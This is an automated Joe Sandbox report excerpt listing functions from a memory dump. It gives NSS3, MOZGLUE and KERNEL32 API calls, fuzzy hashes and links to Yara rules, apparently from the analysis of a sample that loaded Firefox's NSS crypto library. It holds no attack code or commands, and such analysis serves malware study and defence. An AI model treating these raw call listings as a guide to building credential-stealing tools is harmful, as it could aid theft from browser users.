Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: d9e0955881a3608d6827dc948e8921a614ad091615a7527de5e6fca1baf910f5
Instruction ID: d77a3bdeeb32c699df5860e0b33ad5f045ce55dfec42f5f83ed8a2bb08bfa0db
Opcode Fuzzy Hash: d9e0955881a3608d6827dc948e8921a614ad091615a7527de5e6fca1baf910f5
Instruction Fuzzy Hash: A4110071A00108AFDB10AF69DD489AB7B78FF4A228F450574EC089B302EB31E955C7E2

Function 6C7BECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6C7BF0AD,6C7BF150,?,6C7BF150,?,?,?), ref: 6C7BECBA

Part of subcall function 6C7C0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7687ED,00000800,6C75EF74,00000000), ref: 6C7C1000
Part of subcall function 6C7C0FF0: PR_NewLock.NSS3(?,00000800,6C75EF74,00000000), ref: 6C7C1016
Part of subcall function 6C7C0FF0: PL_InitArenaPool.NSS3(00000000,security,6C7687ED,00000008,?,00000800,6C75EF74,00000000), ref: 6C7C102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6C7BECD1

Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C10F3
Part of subcall function 6C7C10C0: EnterCriticalSection.KERNEL32(?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C110C
Part of subcall function 6C7C10C0: PL_ArenaAllocate.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1141
Part of subcall function 6C7C10C0: PR_Unlock.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1182
Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6C7BED02

Part of subcall function 6C7C10C0: PL_ArenaAllocate.NSS3(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6C7BED5A

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 0f0d39a0ac3ae808f135e84e5f9a884deb1d5647c87bcf7db4eef35df1383569
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 1521D1B1A007429FE700CF25DA49B52B7E4BFA4308F25C269E81C97B61EBB0E594C7D1

Function 6C7EEDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6C7D7FFA,?,6C7D9767,?,8B7874C0,0000A48E), ref: 6C7EEDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6C7D7FFA,?,6C7D9767,?,8B7874C0,0000A48E), ref: 6C7EEDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6C7D7FFA,?,6C7D9767,?,8B7874C0,0000A48E), ref: 6C7EEE14

Part of subcall function 6C7C0BE0: malloc.MOZGLUE(6C7B8D2D,?,00000000,?), ref: 6C7C0BF8
Part of subcall function 6C7C0BE0: TlsGetValue.KERNEL32(6C7B8D2D,?,00000000,?), ref: 6C7C0C15

memcpy.VCRUNTIME140(?,?,6C7D9767,00000000,00000000,6C7D7FFA,?,6C7D9767,?,8B7874C0,0000A48E), ref: 6C7EEE33

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 38180388da88f4491913c1d7603ed91010b371c7b32e6244816727ba0d328ec3
Instruction ID: 2c2c79f35fc1de91289738b1f8b00f89b53e9acf0c8affacbc17df893b1aba8f
Opcode Fuzzy Hash: 38180388da88f4491913c1d7603ed91010b371c7b32e6244816727ba0d328ec3
Instruction Fuzzy Hash: E8118AB2A0070AABF7109E65DE85B46B36CEF0835DF144935E919D6A41F331F454C7E2

Function 6C788DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C788DE7
EnterCriticalSection.KERNEL32 ref: 6C788DFC
PR_Unlock.NSS3 ref: 6C788E2D
PR_SetError.NSS3 ref: 6C788E49

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: c9a8fe3c5a8f4e6e8fa13905295fa82477b3d1a6ab3d21736dd33d9828cc888c
Instruction ID: aed2efffc41b802d56892ae31d53aaa8943c8a91f1901adacfd41fa71fef181f
Opcode Fuzzy Hash: c9a8fe3c5a8f4e6e8fa13905295fa82477b3d1a6ab3d21736dd33d9828cc888c
Instruction Fuzzy Hash: 6D116D71605A019BD710AF38C588569BBF4BF05318F014939DD88D7B01EB30A894CBE2

Function 6C80AC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6C7F5F17,?,?,?,?,?,?,?,?,6C7FAAD4), ref: 6C80AC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6C7F5F17,?,?,?,?,?,?,?,?,6C7FAAD4), ref: 6C80ACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6C7FAAD4), ref: 6C80ACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6C7FAAD4), ref: 6C80ACDB

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: e0d95e0e9519c34750762d46910d9c95f56255b7ae837838248d52af89eb8c94
Instruction ID: 23fdd3dde94bb09de7af416b6c3c365b09cc928aded87469165d556d4c3515b9
Opcode Fuzzy Hash: e0d95e0e9519c34750762d46910d9c95f56255b7ae837838248d52af89eb8c94
Instruction Fuzzy Hash: F1014CB1701B019BE760DF29DE09797B7E8BF00659B114839D85AD3A00E735E055CBD1

Function 6C7CC590 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C7CC5AD

Part of subcall function 6C7C0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7687ED,00000800,6C75EF74,00000000), ref: 6C7C1000
Part of subcall function 6C7C0FF0: PR_NewLock.NSS3(?,00000800,6C75EF74,00000000), ref: 6C7C1016
Part of subcall function 6C7C0FF0: PL_InitArenaPool.NSS3(00000000,security,6C7687ED,00000008,?,00000800,6C75EF74,00000000), ref: 6C7C102B

CERT_DecodeCertPackage.NSS3(?,?,6C7CC610,?), ref: 6C7CC5C2

Part of subcall function 6C7CC0B0: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7CC0E6

CERT_NewTempCertificate.NSS3(?,00000000,00000000,00000001), ref: 6C7CC5E0
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C7CC5EF

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Arena_Util$ArenaCertCertificateDecodeErrorFreeInitLockPackagePoolTempcalloc
String ID:
API String ID: 1454898856-0
Opcode ID: 2c3fc8a62db7f2d697f745a2c18f59ef97a8078a1e097d868051f2260bdccda0
Instruction ID: 7e0e70d4572f5ac76d33172fb77b954c8c1579b67447dc36aeb941d5624fa4a0
Opcode Fuzzy Hash: 2c3fc8a62db7f2d697f745a2c18f59ef97a8078a1e097d868051f2260bdccda0
Instruction Fuzzy Hash: F001F2B1F001046FEB00AB64DD0AEBF7B78DB00308F454079EC05AB341F631A919C6E2

Function 6C7C24E0 Relevance: 6.0, APIs: 4, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,6C79C154,000000FF,00000000,00000000,00000000,00000000,?,?,6C79C154,?), ref: 6C7C24FA
PORT_Alloc_Util.NSS3(00000000,?,6C79C154,?), ref: 6C7C2509

Part of subcall function 6C7C0BE0: malloc.MOZGLUE(6C7B8D2D,?,00000000,?), ref: 6C7C0BF8
Part of subcall function 6C7C0BE0: TlsGetValue.KERNEL32(6C7B8D2D,?,00000000,?), ref: 6C7C0C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,?), ref: 6C7C2525
free.MOZGLUE(00000000), ref: 6C7C2532

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_UtilValuefreemalloc
String ID:
API String ID: 929835568-0
Opcode ID: e94bd35f043e1a7565b8adf73d0f37c72ef90343ec3142aa9fe2e075381e4a0c
Instruction ID: 0dcbe4c415414beb684d56ee458dc0228c28a5bfafd1dfc830c8486c4a8eb6e0
Opcode Fuzzy Hash: e94bd35f043e1a7565b8adf73d0f37c72ef90343ec3142aa9fe2e075381e4a0c
Instruction Fuzzy Hash: 75F096BA7061223BFA20257AAD1DE773AACDB417F8B141231BD28D66C1D950D801C1F2

Function 6C870660 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

PR_DestroyLock.NSS3(?,00000000,00000000,?,?,6C877B1B,?,?,?,?,?,?,?,?,?,6C87798A), ref: 6C870670

Part of subcall function 6C829EA0: DeleteCriticalSection.KERNEL32(?), ref: 6C829EAA

free.MOZGLUE(?,00000000,00000000,?,?,6C877B1B,?,?,?,?,?,?,?,?,?,6C87798A), ref: 6C870696
free.MOZGLUE(00000004,6C877B1B,?,?,?,?,?,?,?,?,?,6C87798A), ref: 6C8706C7
free.MOZGLUE(?,00000000,00000000,?,?,6C877B1B,?,?,?,?,?,?,?,?,?,6C87798A), ref: 6C8706E9

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: free$CriticalDeleteDestroyLockSection
String ID:
API String ID: 1785261712-0
Opcode ID: 5e6917ce1d2ad1ff9f0c2205baafeb0e09268c48fbe6fb011321d3a78b9175a6
Instruction ID: b20fe7589ea49b705c711422e5b3e1d996189cc67e66ca36581442becb0be4ff
Opcode Fuzzy Hash: 5e6917ce1d2ad1ff9f0c2205baafeb0e09268c48fbe6fb011321d3a78b9175a6
Instruction Fuzzy Hash: FD1135F46012419BEF30CF58C9D8F4AB7B8AB4624CF284135E40597611E772EE15CBE9

Function 6C80AC00 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,6C7F5D40,00000000,?,?,6C7E6AC6,6C7F639C), ref: 6C80AC2D

Part of subcall function 6C7AADC0: TlsGetValue.KERNEL32(?,6C78CDBB,?,6C78D079,00000000,00000001), ref: 6C7AAE10
Part of subcall function 6C7AADC0: EnterCriticalSection.KERNEL32(?,?,6C78CDBB,?,6C78D079,00000000,00000001), ref: 6C7AAE24
Part of subcall function 6C7AADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C78D079,00000000,00000001), ref: 6C7AAE5A
Part of subcall function 6C7AADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C78CDBB,?,6C78D079,00000000,00000001), ref: 6C7AAE6F
Part of subcall function 6C7AADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C78CDBB,?,6C78D079,00000000,00000001), ref: 6C7AAE7F
Part of subcall function 6C7AADC0: TlsGetValue.KERNEL32(?,6C78CDBB,?,6C78D079,00000000,00000001), ref: 6C7AAEB1
Part of subcall function 6C7AADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C78CDBB,?,6C78D079,00000000,00000001), ref: 6C7AAEC9

PK11_FreeSymKey.NSS3(?,6C7F5D40,00000000,?,?,6C7E6AC6,6C7F639C), ref: 6C80AC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,6C7F5D40,00000000,?,?,6C7E6AC6,6C7F639C), ref: 6C80AC59
free.MOZGLUE(8CB6FF01,6C7E6AC6,6C7F639C,?,?,?,?,?,?,?,?,?,6C7F5D40,00000000,?,6C7FAAD4), ref: 6C80AC62

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: 93fc460ffdf62e69e5a819d8648b89a07686c211243911b63825f6b8c2f8276b
Instruction ID: 88b9fef000e1e696dd824e5325a705a7c62d4487ea68477785c42bf7c5aa2f49
Opcode Fuzzy Hash: 93fc460ffdf62e69e5a819d8648b89a07686c211243911b63825f6b8c2f8276b
Instruction Fuzzy Hash: 68018BB56002009FDB10CF28EEC5B8677A8AF04B5CF198468E8499F706D731E848CBA1

Function 6C7DA710 Relevance: 6.0, APIs: 4, Instructions: 43COMMON

Download Yara Rule

APIs

PK11_DestroyContext.NSS3(?,00000001,-00000001,?,6C80186B,?), ref: 6C7DA738

Part of subcall function 6C78CD80: free.MOZGLUE(?,6C78D079,00000000,00000001), ref: 6C78CDA5
Part of subcall function 6C78CD80: PK11_FreeSymKey.NSS3(?,6C78D079,00000000,00000001), ref: 6C78CDB6
Part of subcall function 6C78CD80: SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C78D079,00000000,00000001), ref: 6C78CDCF
Part of subcall function 6C78CD80: DeleteCriticalSection.KERNEL32(?,6C78D079,00000000,00000001), ref: 6C78CDE2
Part of subcall function 6C78CD80: free.MOZGLUE(?), ref: 6C78CDE9

PK11_DestroyContext.NSS3(?,00000001,-00000001,?,6C80186B,?), ref: 6C7DA757
PK11_DestroyContext.NSS3(?,00000001,-00000001,?,6C80186B,?), ref: 6C7DA776
PK11_DestroyContext.NSS3(?,00000001,-00000001,?,6C80186B,?), ref: 6C7DA795

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: K11_$ContextDestroy$free$CriticalDeleteFreeItem_SectionUtilZfree
String ID:
API String ID: 3138553132-0
Opcode ID: 492b612786a5ec9ed6f512fb0ce52e46a673138c3700f546dfff5c578f687e19
Instruction ID: 536984768843cc3d57fca53aed2725f2f833b040e89ebe2174328f6bed23314b
Opcode Fuzzy Hash: 492b612786a5ec9ed6f512fb0ce52e46a673138c3700f546dfff5c578f687e19
Instruction Fuzzy Hash: 87011EF0A117005BE7609A35DE897C77BE8AB0461DF004C2CE6ADDB681E775B0488B64

Function 6C7F0450 Relevance: 6.0, APIs: 4, Instructions: 38synchronizationCOMMON

Download Yara Rule

APIs

ReleaseMutex.KERNEL32(40C70845,?,6C7F4710,?,000F4240,00000000), ref: 6C7F046B
GetLastError.KERNEL32(?,6C7F4710,?,000F4240,00000000), ref: 6C7F0479

Part of subcall function 6C80BF80: TlsGetValue.KERNEL32(00000000,?,6C7F461B,-00000004), ref: 6C80C244

PR_Unlock.NSS3(40C70845,?,6C7F4710,?,000F4240,00000000), ref: 6C7F0492
PR_SetError.NSS3(FFFFE89D,00000000,?,6C7F4710,?,000F4240,00000000), ref: 6C7F04A5

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Error$LastMutexReleaseUnlockValue
String ID:
API String ID: 4014558462-0
Opcode ID: cbfeefe7f24590fc484852d14316e32ee30a0a4ea082e89ca1ceb7289e4055f2
Instruction ID: 028184d06a07e4c7276eaa10800bb4e243edc49f7e3148fb8b579f04b210cc2b
Opcode Fuzzy Hash: cbfeefe7f24590fc484852d14316e32ee30a0a4ea082e89ca1ceb7289e4055f2
Instruction Fuzzy Hash: EBF0B4B0B002455BEB10AEB99ED8F3A33A9AB0220DF058434E87AC7F51EE21E445C561

Function 6C7887E0 Relevance: 6.0, APIs: 4, Instructions: 34COMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6C7887EA
PK11_DestroyTokenObject.NSS3(?,00000000), ref: 6C788809
CERT_DestroyCertificate.NSS3(00000000), ref: 6C788818
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C788821

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Destroy$K11_Private$CertCertificateFromObjectToken
String ID:
API String ID: 3228624125-0
Opcode ID: ac916d6c03ed572d4810efe894036a746260e874c6db0241746666bb94f464c0
Instruction ID: 5c8726f02f1f06a4b3ce8446e7a0e9d3fa245abe19432da37da79a8d23d12042
Opcode Fuzzy Hash: ac916d6c03ed572d4810efe894036a746260e874c6db0241746666bb94f464c0
Instruction Fuzzy Hash: CFE055BBC0211867DA020963BE48A8A365C8B8427CF084231EE0A0A742F731DD0883F1

Function 6C87CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6C87CC61
free.MOZGLUE ref: 6C87CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6C87CC80
free.MOZGLUE(?), ref: 6C87CC87

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 3bd01ba2345bbed9ed262d6dd7d4ebdeb478e7d2a0531d0523fc08f9c5d46cc5
Instruction ID: e1944b4dcacc59d1740d0ed05882d35ab1d9af45d71470c9717c32b8ab51ae40
Opcode Fuzzy Hash: 3bd01ba2345bbed9ed262d6dd7d4ebdeb478e7d2a0531d0523fc08f9c5d46cc5
Instruction Fuzzy Hash: 25E065B6700608AFCA10EFA9DC44C8B77BCEE492743150535E691D3701D231F905CBE5

Function 6C7B4D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C7B4D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6C7B4DE6

Strings

%d.%d, xrefs: 6C7B4DDE

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: 2919f926be5ba0860734e910d51a15658c9ad6b3f9f8bebbfdd1564e69a3ff2c
Instruction ID: 393fb4e90b5a5dad9bfd5f24a5b48f6e9a35a1a78b900d535c6eda0e564c0cca
